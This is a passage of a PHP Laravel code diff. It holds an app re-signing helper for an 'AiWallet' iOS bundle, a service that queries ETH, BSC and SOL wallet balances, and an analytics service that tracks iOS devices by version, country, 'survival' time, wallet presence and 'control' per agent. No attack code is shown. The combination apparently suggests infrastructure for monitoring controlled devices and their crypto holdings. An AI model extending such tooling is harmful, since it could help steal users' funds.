'exit' => $exitCode, 'stderr' => $stderr,
|
||||||
|
]);
|
||||||
|
} else {
|
||||||
|
Log::info('AiWallet: ldid signed '.basename($bin));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@mkdir($csDir, 0755, true);
|
||||||
|
file_put_contents($csDir.'/CodeResources',
|
||||||
|
'<?xml version="1.0" encoding="UTF-8"?>'."\n".
|
||||||
|
'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
|
||||||
|
}
|
||||||
|
|
||||||
|
private function findAppDir(string $workDir): ?string
|
||||||
|
{
|
||||||
|
$payload = $workDir.'/Payload';
|
||||||
|
if (!is_dir($payload)) return null;
|
||||||
|
foreach (scandir($payload) as $item) {
|
||||||
|
if (str_ends_with($item, '.app')) return $payload.'/'.$item;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function findMainBinary(string $appDir): string
|
||||||
|
{
|
||||||
|
$appName = basename($appDir, '.app');
|
||||||
|
return $appDir.'/'.$appName;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
||||||
|
{
|
||||||
|
foreach (scandir($dir) as $item) {
|
||||||
|
if ($item === '.' || $item === '..') continue;
|
||||||
|
$path = $dir.'/'.$item;
|
||||||
|
$zipPath = $prefix.'/'.$item;
|
||||||
|
if (is_dir($path)) {
|
||||||
|
$zip->addEmptyDir($zipPath);
|
||||||
|
$this->addDirToZip($zip, $path, $zipPath);
|
||||||
|
} else {
|
||||||
|
$zip->addFile($path, $zipPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function rrmdir(string $dir): void
|
||||||
|
{
|
||||||
|
if (!is_dir($dir)) return;
|
||||||
|
foreach (scandir($dir) as $item) {
|
||||||
|
if ($item === '.' || $item === '..') continue;
|
||||||
|
$path = $dir.'/'.$item;
|
||||||
|
if (is_dir($path)) $this->rrmdir($path);
|
||||||
|
else @unlink($path);
|
||||||
|
}
|
||||||
|
@rmdir($dir);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function fail(string $error): array
|
||||||
|
{
|
||||||
|
return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,365 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services\Alchemy;
|
||||||
|
|
||||||
|
use Illuminate\Support\Facades\Cache;
|
||||||
|
use Illuminate\Support\Facades\Http;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Balance + activation via the Alchemy Blockchain Data API (JSON-RPC) for ETH,
|
||||||
|
* BSC, and SOL. BTC is not handled here (Alchemy has no address-balance API on
|
||||||
|
* the current plan) — BTC stays on the BtcDriver (mempool.space). TRON stays on
|
||||||
|
* TronGrid.
|
||||||
|
*
|
||||||
|
* On 401 (invalid key / network not enabled) the service is flagged unavailable
|
||||||
|
* for a short cool-down so callers skip straight to the per-chain RPC fallback.
|
||||||
|
*
|
||||||
|
* Normalized result shape (compatible with the former Tokenview service):
|
||||||
|
* [
|
||||||
|
* 'activated' => bool,
|
||||||
|
* 'native' => ['symbol','amount','amount_usd','contract'] | null,
|
||||||
|
* 'tokens' => list<['symbol','contract','decimals','amount','amount_usd']>,
|
||||||
|
* 'first_active' => null,
|
||||||
|
* 'last_active' => null,
|
||||||
|
* ]
|
||||||
|
*/
|
||||||
|
class AlchemyBalanceService
|
||||||
|
{
|
||||||
|
public const DISABLE_CACHE_KEY = 'alchemy-data:disabled';
|
||||||
|
public const DISABLE_TTL_SECONDS = 300;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private readonly string $apiKey,
|
||||||
|
private readonly string $ethRpcBase,
|
||||||
|
private readonly string $bscRpcBase,
|
||||||
|
private readonly string $solRpcBase,
|
||||||
|
private readonly int $timeout,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public static function make(): self
|
||||||
|
{
|
||||||
|
return new self(
|
||||||
|
(string) config('coruna.alchemy.api_key', ''),
|
||||||
|
rtrim((string) config('coruna.alchemy.eth_rpc_url', ''), '/'),
|
||||||
|
rtrim((string) config('coruna.alchemy.bsc_rpc_url', ''), '/'),
|
||||||
|
rtrim((string) config('coruna.alchemy.sol_rpc_url', ''), '/'),
|
||||||
|
(int) config('coruna.alchemy.timeout', 30),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function isEnabled(): bool
|
||||||
|
{
|
||||||
|
return trim($this->apiKey) !== '' && ! Cache::has(self::DISABLE_CACHE_KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disableTemporarily(): void
|
||||||
|
{
|
||||||
|
Cache::put(self::DISABLE_CACHE_KEY, 1, self::DISABLE_TTL_SECONDS);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Map chain_type → Alchemy network slug + RPC base. Null = not handled here.
|
||||||
|
*
|
||||||
|
* @return array{network: string, rpc: string, native: string}|null
|
||||||
|
*/
|
||||||
|
private function evmSpec(string $chainType): ?array
|
||||||
|
{
|
||||||
|
return match (strtoupper(trim($chainType))) {
|
||||||
|
'ETH', 'ETHEREUM', 'EVM' => ['network' => 'eth-mainnet', 'rpc' => $this->ethRpcBase, 'native' => 'ETH'],
|
||||||
|
'BSC', 'BNB', 'BINANCE' => ['network' => 'bnb-mainnet', 'rpc' => $this->bscRpcBase, 'native' => 'BNB'],
|
||||||
|
default => null,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* SOL network spec (Solana JSON-RPC, separate from EVM).
|
||||||
|
*/
|
||||||
|
private function solSpec(): ?array
|
||||||
|
{
|
||||||
|
return $this->solRpcBase !== '' ? ['network' => 'solana-mainnet', 'rpc' => $this->solRpcBase] : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Balance + activation + USDT for the refresh/probe path. No price enrichment
|
||||||
|
* (the refresh only persists coin columns, not USD). Returns null when the
|
||||||
|
* chain is not handled here or the Alchemy RPC is unavailable → caller falls
|
||||||
|
* back to the per-chain RPC driver.
|
||||||
|
*
|
||||||
|
* @return array{activated: bool, native: ?array, tokens: list<array>, first_active: ?string, last_active: ?string}|null
|
||||||
|
*/
|
||||||
|
public function fetch(string $chainType, string $address): ?array
|
||||||
|
{
|
||||||
|
$addr = trim($address);
|
||||||
|
if ($addr === '' || ! $this->isEnabled()) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$upper = strtoupper(trim($chainType));
|
||||||
|
if (in_array($upper, ['SOL', 'SOLANA'], true)) {
|
||||||
|
return $this->fetchSol($addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
$spec = $this->evmSpec($chainType);
|
||||||
|
if ($spec === null) {
|
||||||
|
return null; // BTC/TRON handled elsewhere
|
||||||
|
}
|
||||||
|
|
||||||
|
$rpc = $spec['rpc'];
|
||||||
|
if ($rpc === '') {
|
||||||
|
return null; // network not configured
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$nativeHex = $this->rpc($rpc, 'eth_getBalance', [$this->evmAddr($addr), 'latest']);
|
||||||
|
$txCountHex = $this->rpc($rpc, 'eth_getTransactionCount', [$this->evmAddr($addr), 'latest']);
|
||||||
|
$native = $this->humanize($this->hexToDec((string) $nativeHex), 18);
|
||||||
|
$txCount = (int) hexdec((string) $txCountHex);
|
||||||
|
$activated = $this->positive($native) || $txCount > 0;
|
||||||
|
|
||||||
|
$usdtContract = (string) config('coruna.'.strtolower($spec['native'] === 'ETH' ? 'eth' : 'bsc').'.usdt_contract', '');
|
||||||
|
$usdt = '0';
|
||||||
|
$usdtDecimals = 6;
|
||||||
|
if ($usdtContract !== '') {
|
||||||
|
$usdtRaw = $this->tokenBalanceRaw($rpc, $addr, $usdtContract);
|
||||||
|
$usdtDecimals = (int) config('coruna.'.strtolower($spec['native'] === 'ETH' ? 'eth' : 'bsc').'.usdt_decimals', 6);
|
||||||
|
$usdt = $this->humanize($usdtRaw, $usdtDecimals);
|
||||||
|
}
|
||||||
|
|
||||||
|
$tokens = [];
|
||||||
|
if ($this->positive($usdt)) {
|
||||||
|
$tokens[] = [
|
||||||
|
'symbol' => 'USDT',
|
||||||
|
'contract' => $usdtContract,
|
||||||
|
'decimals' => $usdtDecimals,
|
||||||
|
'amount' => $usdt,
|
||||||
|
'amount_usd' => null,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'activated' => $activated,
|
||||||
|
'native' => $this->positive($native)
|
||||||
|
? ['symbol' => $spec['native'], 'amount' => $native, 'amount_usd' => null, 'contract' => '']
|
||||||
|
: null,
|
||||||
|
'tokens' => $tokens,
|
||||||
|
'first_active' => null,
|
||||||
|
'last_active' => null,
|
||||||
|
];
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('Alchemy fetch failed', [
|
||||||
|
'chain' => $chainType,
|
||||||
|
'address' => $addr,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* SOL balance + USDT (SPL) via Alchemy Solana JSON-RPC.
|
||||||
|
*
|
||||||
|
* @return array{activated: bool, native: ?array, tokens: list<array>, first_active: ?string, last_active: ?string}|null
|
||||||
|
*/
|
||||||
|
private function fetchSol(string $address): ?array
|
||||||
|
{
|
||||||
|
$spec = $this->solSpec();
|
||||||
|
if ($spec === null) {
|
||||||
|
return null; // SOL not configured
|
||||||
|
}
|
||||||
|
$rpc = $spec['rpc'];
|
||||||
|
|
||||||
|
try {
|
||||||
|
$balanceResult = $this->rpc($rpc, 'getBalance', [$address, ['commitment' => 'confirmed']]);
|
||||||
|
$lamports = '0';
|
||||||
|
if (is_array($balanceResult) && isset($balanceResult['value']) && is_numeric($balanceResult['value'])) {
|
||||||
|
$lamports = (string) $balanceResult['value'];
|
||||||
|
} elseif (is_numeric($balanceResult)) {
|
||||||
|
$lamports = (string) $balanceResult;
|
||||||
|
}
|
||||||
|
$sol = $this->fromLamports($lamports);
|
||||||
|
|
||||||
|
$usdtMint = (string) config('coruna.sol.usdt_contract', '');
|
||||||
|
$usdtDecimals = (int) config('coruna.sol.usdt_decimals', 6);
|
||||||
|
$usdt = '0';
|
||||||
|
if ($usdtMint !== '') {
|
||||||
|
$usdt = $this->solTokenBalance($rpc, $address, $usdtMint, $usdtDecimals);
|
||||||
|
}
|
||||||
|
|
||||||
|
$activated = $this->positive($sol) || $this->positive($usdt);
|
||||||
|
$tokens = [];
|
||||||
|
if ($this->positive($usdt)) {
|
||||||
|
$tokens[] = [
|
||||||
|
'symbol' => 'USDT',
|
||||||
|
'contract' => $usdtMint,
|
||||||
|
'decimals' => $usdtDecimals,
|
||||||
|
'amount' => $usdt,
|
||||||
|
'amount_usd' => null,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'activated' => $activated,
|
||||||
|
'native' => $this->positive($sol)
|
||||||
|
? ['symbol' => 'SOL', 'amount' => $sol, 'amount_usd' => null, 'contract' => '']
|
||||||
|
: null,
|
||||||
|
'tokens' => $tokens,
|
||||||
|
'first_active' => null,
|
||||||
|
'last_active' => null,
|
||||||
|
];
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('Alchemy SOL fetch failed', ['address' => $address, 'error' => $e->getMessage()]);
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Sum SPL token units across all token accounts owned by $address for $mint.
|
||||||
|
*/
|
||||||
|
private function solTokenBalance(string $rpc, string $address, string $mint, int &$decimals): string
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
$result = $this->rpc($rpc, 'getTokenAccountsByOwner', [
|
||||||
|
$address,
|
||||||
|
['mint' => $mint],
|
||||||
|
['encoding' => 'jsonParsed', 'commitment' => 'confirmed'],
|
||||||
|
]);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
return '0';
|
||||||
|
}
|
||||||
|
$accounts = is_array($result) && isset($result['value']) ? $result['value'] : [];
|
||||||
|
$total = '0';
|
||||||
|
foreach ($accounts as $entry) {
|
||||||
|
$info = $entry['account']['data']['parsed']['info']['tokenAmount'] ?? null;
|
||||||
|
if (! is_array($info)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$amount = (string) ($info['amount'] ?? '0');
|
||||||
|
if (! preg_match('/^\d+$/', $amount)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (isset($info['decimals']) && is_numeric($info['decimals'])) {
|
||||||
|
$decimals = (int) $info['decimals'];
|
||||||
|
}
|
||||||
|
$total = bcadd($total, $amount, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->humanize($total, max(0, $decimals));
|
||||||
|
}
|
||||||
|
|
||||||
|
private function fromLamports(string $lamports): string
|
||||||
|
{
|
||||||
|
if (! preg_match('/^\d+$/', $lamports)) {
|
||||||
|
$lamports = '0';
|
||||||
|
}
|
||||||
|
$human = bcdiv($lamports, '1000000000', 9);
|
||||||
|
$human = rtrim(rtrim($human, '0'), '.');
|
||||||
|
|
||||||
|
return $human === '' ? '0' : $human;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Raw ERC20/BEP20 balanceOf (units) via eth_call.
|
||||||
|
*/
|
||||||
|
private function tokenBalanceRaw(string $rpc, string $address, string $contract): string
|
||||||
|
{
|
||||||
|
$data = '0x70a08231'.str_pad(substr($this->evmAddr($address), 2), 64, '0', STR_PAD_LEFT);
|
||||||
|
try {
|
||||||
|
$hex = $this->rpc($rpc, 'eth_call', [['to' => $this->evmAddr($contract), 'data' => $data], 'latest']);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
return '0';
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->hexToDec((string) $hex);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return mixed
|
||||||
|
*/
|
||||||
|
private function rpc(string $base, string $method, array $params)
|
||||||
|
{
|
||||||
|
$url = $base.'/'.$this->apiKey;
|
||||||
|
$resp = Http::connectTimeout(15)->timeout($this->timeout)
|
||||||
|
->acceptJson()->asJson()
|
||||||
|
->post($url, [
|
||||||
|
'jsonrpc' => '2.0',
|
||||||
|
'id' => 1,
|
||||||
|
'method' => $method,
|
||||||
|
'params' => $params,
|
||||||
|
]);
|
||||||
|
|
||||||
|
if ($resp->status() === 401) {
|
||||||
|
$this->disableTemporarily();
|
||||||
|
throw new \RuntimeException('Alchemy 401 (invalid key or network not enabled)');
|
||||||
|
}
|
||||||
|
if (! $resp->successful()) {
|
||||||
|
throw new \RuntimeException('Alchemy HTTP '.$resp->status());
|
||||||
|
}
|
||||||
|
$json = $resp->json();
|
||||||
|
if (! is_array($json)) {
|
||||||
|
throw new \RuntimeException('Alchemy invalid response');
|
||||||
|
}
|
||||||
|
if (isset($json['error'])) {
|
||||||
|
$msg = $json['error']['message'] ?? json_encode($json['error']);
|
||||||
|
throw new \RuntimeException('Alchemy RPC: '.(is_string($msg) ? $msg : 'error'));
|
||||||
|
}
|
||||||
|
|
||||||
|
return $json['result'] ?? null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function evmAddr(string $addr): string
|
||||||
|
{
|
||||||
|
return strtolower(trim($addr));
|
||||||
|
}
|
||||||
|
|
||||||
|
private function hexToDec(string $hex): string
|
||||||
|
{
|
||||||
|
$hex = ltrim($hex, '0x');
|
||||||
|
if ($hex === '' || ! preg_match('/^[0-9a-fA-F]+$/', $hex)) {
|
||||||
|
return '0';
|
||||||
|
}
|
||||||
|
$dec = '';
|
||||||
|
$len = strlen($hex);
|
||||||
|
for ($i = 0; $i < $len; $i++) {
|
||||||
|
$carry = hexdec($hex[$i]);
|
||||||
|
$dec = $this->bcAddDigit($dec, $carry);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $dec === '' ? '0' : $dec;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function bcAddDigit(string $acc, int $digit): string
|
||||||
|
{
|
||||||
|
if ($digit === 0 && $acc === '') {
|
||||||
|
return '0';
|
||||||
|
}
|
||||||
|
return bcadd(bcmul($acc === '' ? '0' : $acc, '16', 0), (string) $digit, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function humanize(string $units, int $decimals): string
|
||||||
|
{
|
||||||
|
if (! preg_match('/^\d+$/', $units)) {
|
||||||
|
return '0';
|
||||||
|
}
|
||||||
|
if ($decimals <= 0) {
|
||||||
|
return $units === '' ? '0' : $units;
|
||||||
|
}
|
||||||
|
$factor = bcpow('10', (string) $decimals, 0);
|
||||||
|
$human = bcdiv($units, $factor, $decimals);
|
||||||
|
$human = rtrim(rtrim($human, '0'), '.');
|
||||||
|
|
||||||
|
return $human === '' ? '0' : $human;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function positive(string $amount): bool
|
||||||
|
{
|
||||||
|
return preg_match('/^-?\d+(\.\d+)?$/', $amount) && bccomp($amount, '0', 18) > 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function positiveUnits(string $units): bool
|
||||||
|
{
|
||||||
|
return preg_match('/^\d+$/', $units) && bccomp($units, '0', 0) > 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,558 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\AnalyticsDailyDim;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\PageVisit;
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Support\AgentScope;
|
||||||
|
use App\Support\CfIpCountry;
|
||||||
|
use Carbon\Carbon;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
|
||||||
|
class AnalyticsReportService
|
||||||
|
{
|
||||||
|
public function __construct(
|
||||||
|
private readonly DailyReportService $reports,
|
||||||
|
private readonly DashboardStatsService $dashboard,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array{date_from?: string, date_to?: string, date_range?: string, range?: string, agent_user_id?: ?int} $filters
|
||||||
|
* @return array{
|
||||||
|
* from: string,
|
||||||
|
* to: string,
|
||||||
|
* computed_at: ?string,
|
||||||
|
* survival: array{avg_seconds: int|null, avg_label: string, devices: int},
|
||||||
|
* survival_wallet: array{avg_seconds: int|null, avg_label: string, devices: int},
|
||||||
|
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||||
|
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||||
|
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||||
|
* by_visit_country: list<array{label: string, uv: int, pct: float}>,
|
||||||
|
* by_device_country: list<array{label: string, count: int, pct: float}>,
|
||||||
|
* control_by_version: list<array{label: string, effective_uv: int, devices: int, pct: float|null}>
|
||||||
|
* }
|
||||||
|
*/
|
||||||
|
public function collect(?User $agent, array $filters = []): array
|
||||||
|
{
|
||||||
|
[$from, $to] = $this->reports->resolveBounds($filters);
|
||||||
|
$agentUserId = $this->reports->resolveAgentUserId($agent, $filters);
|
||||||
|
$this->ensureCached($from, $to, $agentUserId);
|
||||||
|
|
||||||
|
return $this->present($from, $to, $agentUserId);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null, bool $force = false): int
|
||||||
|
{
|
||||||
|
[$from, $to] = $from !== null && $to !== null
|
||||||
|
? [$from->copy()->startOfDay(), $to->copy()->endOfDay()]
|
||||||
|
: $this->reports->window();
|
||||||
|
|
||||||
|
$scope = DailyReportService::scopeKey($agentUserId);
|
||||||
|
$now = Carbon::now();
|
||||||
|
$refreshFrom = Carbon::now()->copy()->subDay()->startOfDay();
|
||||||
|
$days = 0;
|
||||||
|
$cursor = $from->copy()->startOfDay();
|
||||||
|
$end = $to->copy()->startOfDay();
|
||||||
|
while ($cursor->lte($end)) {
|
||||||
|
if ($force || $cursor->gte($refreshFrom) || ! $this->dayHasSurvival($scope, $cursor)) {
|
||||||
|
$this->rebuildDay($cursor, $scope, $agentUserId, $now);
|
||||||
|
$days++;
|
||||||
|
}
|
||||||
|
$cursor->addDay();
|
||||||
|
}
|
||||||
|
|
||||||
|
return $days;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function ensureCached(Carbon $from, Carbon $to, ?int $agentUserId): void
|
||||||
|
{
|
||||||
|
$scope = DailyReportService::scopeKey($agentUserId);
|
||||||
|
$expected = (int) $from->copy()->startOfDay()->diffInDays($to->copy()->startOfDay()) + 1;
|
||||||
|
// 一次查询拿到范围内每个 kind 的去重天数,避免逐 kind COUNT。
|
||||||
|
$have = AnalyticsDailyDim::query()
|
||||||
|
->where('scope_key', $scope)
|
||||||
|
->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()])
|
||||||
|
->selectRaw('kind, COUNT(DISTINCT stat_date) AS days')
|
||||||
|
->groupBy('kind')
|
||||||
|
->pluck('days', 'kind')
|
||||||
|
->all();
|
||||||
|
// 检查所有按日聚合的 kind 是否都有完整缓存;任一缺失即重建。
|
||||||
|
$requiredKinds = [
|
||||||
|
AnalyticsDailyDim::KIND_SURVIVAL,
|
||||||
|
AnalyticsDailyDim::KIND_SURVIVAL_WALLET,
|
||||||
|
AnalyticsDailyDim::KIND_VISIT_OS,
|
||||||
|
AnalyticsDailyDim::KIND_VISIT_VERSION,
|
||||||
|
AnalyticsDailyDim::KIND_DEVICE_VERSION,
|
||||||
|
AnalyticsDailyDim::KIND_VISIT_COUNTRY,
|
||||||
|
AnalyticsDailyDim::KIND_DEVICE_COUNTRY,
|
||||||
|
];
|
||||||
|
foreach ($requiredKinds as $kind) {
|
||||||
|
if ((int) ($have[$kind] ?? 0) < $expected) {
|
||||||
|
$this->rebuild($from, $to, $agentUserId);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$today = Carbon::now()->toDateString();
|
||||||
|
if ($from->toDateString() > $today || $to->toDateString() < $today) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$row = AnalyticsDailyDim::query()
|
||||||
|
->where('scope_key', $scope)
|
||||||
|
->where('kind', AnalyticsDailyDim::KIND_SURVIVAL)
|
||||||
|
->where('stat_date', $today)
|
||||||
|
->first();
|
||||||
|
if ($row === null || $row->computed_at === null || $row->computed_at->lt(Carbon::now()->subMinutes(DailyReportService::TODAY_STALE_MINUTES))) {
|
||||||
|
$this->rebuild(Carbon::now()->startOfDay(), Carbon::now()->endOfDay(), $agentUserId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function rebuildDay(Carbon $day, string $scope, ?int $agentUserId, Carbon $now): void
|
||||||
|
{
|
||||||
|
$from = $day->copy()->startOfDay();
|
||||||
|
$to = $day->copy()->endOfDay();
|
||||||
|
$date = $day->toDateString();
|
||||||
|
$rows = $this->aggregateDay($from, $to, $agentUserId);
|
||||||
|
|
||||||
|
AnalyticsDailyDim::query()
|
||||||
|
->where('scope_key', $scope)
|
||||||
|
->where('stat_date', $date)
|
||||||
|
->delete();
|
||||||
|
|
||||||
|
foreach ($rows as $row) {
|
||||||
|
AnalyticsDailyDim::query()->create([
|
||||||
|
'stat_date' => $date,
|
||||||
|
'scope_key' => $scope,
|
||||||
|
'kind' => $row['kind'],
|
||||||
|
'dim' => $row['dim'],
|
||||||
|
'uv' => $row['uv'],
|
||||||
|
'effective_uv' => $row['effective_uv'],
|
||||||
|
'devices' => $row['devices'],
|
||||||
|
'seconds_sum' => $row['seconds_sum'],
|
||||||
|
'computed_at' => $now,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<array{kind: string, dim: string, uv: int, effective_uv: int, devices: int, seconds_sum: int}>
|
||||||
|
*/
|
||||||
|
private function aggregateDay(Carbon $from, Carbon $to, ?int $agentUserId): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
$effectiveSql = $this->dashboard->effectiveVisitSql();
|
||||||
|
$versionExpr = $this->versionDimSql('os_version');
|
||||||
|
|
||||||
|
$visits = PageVisit::query();
|
||||||
|
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
|
||||||
|
$visits->whereBetween('created_at', [$from, $to]);
|
||||||
|
|
||||||
|
$osRows = (clone $visits)
|
||||||
|
->selectRaw("CASE WHEN os = 'iOS' THEN 'iOS' ELSE '其他' END as dim, COUNT(DISTINCT client_uid) as uv")
|
||||||
|
->groupByRaw("CASE WHEN os = 'iOS' THEN 'iOS' ELSE '其他' END")
|
||||||
|
->get();
|
||||||
|
foreach ($osRows as $row) {
|
||||||
|
$out[] = $this->dimRow(
|
||||||
|
AnalyticsDailyDim::KIND_VISIT_OS,
|
||||||
|
(string) $row->dim,
|
||||||
|
(int) $row->uv,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
$versionRows = (clone $visits)
|
||||||
|
->where('os', 'iOS')
|
||||||
|
->selectRaw(
|
||||||
|
"{$versionExpr} as dim, COUNT(DISTINCT client_uid) as uv, COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv"
|
||||||
|
)
|
||||||
|
->groupByRaw($versionExpr)
|
||||||
|
->get();
|
||||||
|
foreach ($versionRows as $row) {
|
||||||
|
$out[] = $this->dimRow(
|
||||||
|
AnalyticsDailyDim::KIND_VISIT_VERSION,
|
||||||
|
$this->clipDim((string) $row->dim),
|
||||||
|
(int) $row->uv,
|
||||||
|
(int) $row->effective_uv,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
$devices = Device::query();
|
||||||
|
AgentScope::applyAgentUserFilter($devices, $agentUserId);
|
||||||
|
$devices->whereBetween('created_at', [$from, $to]);
|
||||||
|
$deviceVersionExpr = $this->versionDimSql('ios_version');
|
||||||
|
$deviceRows = (clone $devices)
|
||||||
|
->selectRaw("{$deviceVersionExpr} as dim, COUNT(*) as cnt")
|
||||||
|
->groupByRaw($deviceVersionExpr)
|
||||||
|
->get();
|
||||||
|
foreach ($deviceRows as $row) {
|
||||||
|
$out[] = $this->dimRow(
|
||||||
|
AnalyticsDailyDim::KIND_DEVICE_VERSION,
|
||||||
|
$this->clipDim((string) $row->dim),
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
(int) $row->cnt,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
$countryExpr = $this->countryDimSql('country');
|
||||||
|
|
||||||
|
$visitCountryRows = (clone $visits)
|
||||||
|
->selectRaw("{$countryExpr} as dim, COUNT(DISTINCT client_uid) as uv")
|
||||||
|
->groupByRaw($countryExpr)
|
||||||
|
->get();
|
||||||
|
foreach ($visitCountryRows as $row) {
|
||||||
|
$out[] = $this->dimRow(
|
||||||
|
AnalyticsDailyDim::KIND_VISIT_COUNTRY,
|
||||||
|
$this->clipDim((string) $row->dim),
|
||||||
|
(int) $row->uv,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
$deviceCountryRows = (clone $devices)
|
||||||
|
->selectRaw("{$countryExpr} as dim, COUNT(*) as cnt")
|
||||||
|
->groupByRaw($countryExpr)
|
||||||
|
->get();
|
||||||
|
foreach ($deviceCountryRows as $row) {
|
||||||
|
$out[] = $this->dimRow(
|
||||||
|
AnalyticsDailyDim::KIND_DEVICE_COUNTRY,
|
||||||
|
$this->clipDim((string) $row->dim),
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
(int) $row->cnt,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
$secondsExpr = $this->survivalSecondsSql();
|
||||||
|
$survival = (clone $devices)
|
||||||
|
->selectRaw("COUNT(*) as cnt, COALESCE(SUM({$secondsExpr}), 0) as seconds_sum")
|
||||||
|
->first();
|
||||||
|
$out[] = $this->dimRow(
|
||||||
|
AnalyticsDailyDim::KIND_SURVIVAL,
|
||||||
|
'',
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
(int) ($survival?->cnt ?? 0),
|
||||||
|
(int) ($survival?->seconds_sum ?? 0),
|
||||||
|
);
|
||||||
|
|
||||||
|
$walletSurvival = (clone $devices)
|
||||||
|
->where('has_wallet', Device::WALLET_YES)
|
||||||
|
->selectRaw("COUNT(*) as cnt, COALESCE(SUM({$secondsExpr}), 0) as seconds_sum")
|
||||||
|
->first();
|
||||||
|
$out[] = $this->dimRow(
|
||||||
|
AnalyticsDailyDim::KIND_SURVIVAL_WALLET,
|
||||||
|
'',
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
(int) ($walletSurvival?->cnt ?? 0),
|
||||||
|
(int) ($walletSurvival?->seconds_sum ?? 0),
|
||||||
|
);
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{
|
||||||
|
* from: string,
|
||||||
|
* to: string,
|
||||||
|
* computed_at: ?string,
|
||||||
|
* survival: array{avg_seconds: int|null, avg_label: string, devices: int},
|
||||||
|
* survival_wallet: array{avg_seconds: int|null, avg_label: string, devices: int},
|
||||||
|
* by_os: list<array{label: string, uv: int, pct: float}>,
|
||||||
|
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
|
||||||
|
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
|
||||||
|
* by_visit_country: list<array{label: string, uv: int, pct: float}>,
|
||||||
|
* by_device_country: list<array{label: string, count: int, pct: float}>,
|
||||||
|
